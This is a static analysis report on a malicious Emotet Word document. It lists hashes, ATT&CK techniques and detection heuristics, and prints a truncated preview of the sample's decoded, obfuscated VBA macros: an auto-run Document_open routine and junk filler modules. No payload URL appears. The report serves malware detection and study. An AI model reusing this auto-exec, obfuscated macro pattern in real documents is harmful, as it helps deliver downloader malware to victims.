Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 01b69053aba9573a…

MALICIOUS

Office (OLE)

265.7 KB Created: 2020-02-07 00:14:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: e13f5a49523985ff2f5f6df24041b0a9 SHA-1: abc23b7fa7656edec2ce91ec8d8b20da797e3d85 SHA-256: 01b69053aba9573ab6ea1121f7ec8ceb89b429b637d256bf5fbf0272362bbbd7
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is triggered automatically, and heuristics indicate it uses 'CreateObject' and a hidden UserForm property to execute a command stager. ClamAV detection confirms it as Emotet, a known downloader family. The VBA code appears to be obfuscated, but the overall intent is to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7578627-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7578627-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12938 bytes
SHA-256: 4aeb7a6629cfb71026d47144bc7e64ca17bb8956a7de8334458d7d94e156a4b5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Bqvalcetugkok"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI
 
Zgwsfixtdhep.Rorsxwhelbf
End Sub

Attribute VB_Name = "Yujnbbunz"
Attribute VB_Base = "0{448FF7C6-CD75-44D7-A60E-8B66FEC939A8}{C761BAE5-BFC8-447B-8203-D2A609B4EECC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Jeeqhrfmfprx"
Attribute VB_Base = "0{4F10F4A3-BADD-4FE1-8FD6-F5C7AB3911E1}{7507A5B3-CAE0-43F2-BDA1-0903A8870531}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Zgbhyrpajiurt()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Nitihdieopjnk"
Attribute VB_Base = "0{8CF8D8E9-CE7D-4AC4-91A2-A9767A8DD9EE}{AC47E492-A3B2-48BD-9D3A-E72DF707612A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Ewndltetmp()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Uvwpyzosgx"
Attribute VB_Base = "0{40FD1938-36CA-4B76-A57E-A77AE41ED977}{36F047FA-9C44-419C-85A6-DBEC9F108299}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Tqbmrodegy()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Epueiohsfuojs"
Attribute VB_Base = "0{5CD15AB4-41E7-43AE-A905-18AC5572F6F3}{C539D3F6-97E1-46E4-B262-6499865B89AB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Nwbeghekur()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Ymxcvqyl"
Attribute VB_Base = "0{E9A9922B-A92A-4AE1-AAB0-0D5F330DFD8C}{3329BE6D-B139-4F68-8B3B-3B58D914B9CD}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Jjsqxdycs()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Cqiftxpafznq"
Attribute VB_Base = "0{B23EF7BB-7E75-4B97-A3F0-7460C38303C4}{7C2DE64C-16DC-486E-B001-1ECA42488E2C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Firssuochn()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Qjblsyyjvv"
Attribute VB_Base = "0{8E125023-B783-4D99-BFF5-8120915A64A5}{2BB6C3BA-91B9-40CF-9D1E-12369F9E2422}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Ctildgwtggrug()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Zdaiuohh"
Attribute VB_Base = "0{42E6B898-3F5C-40FE
... (truncated)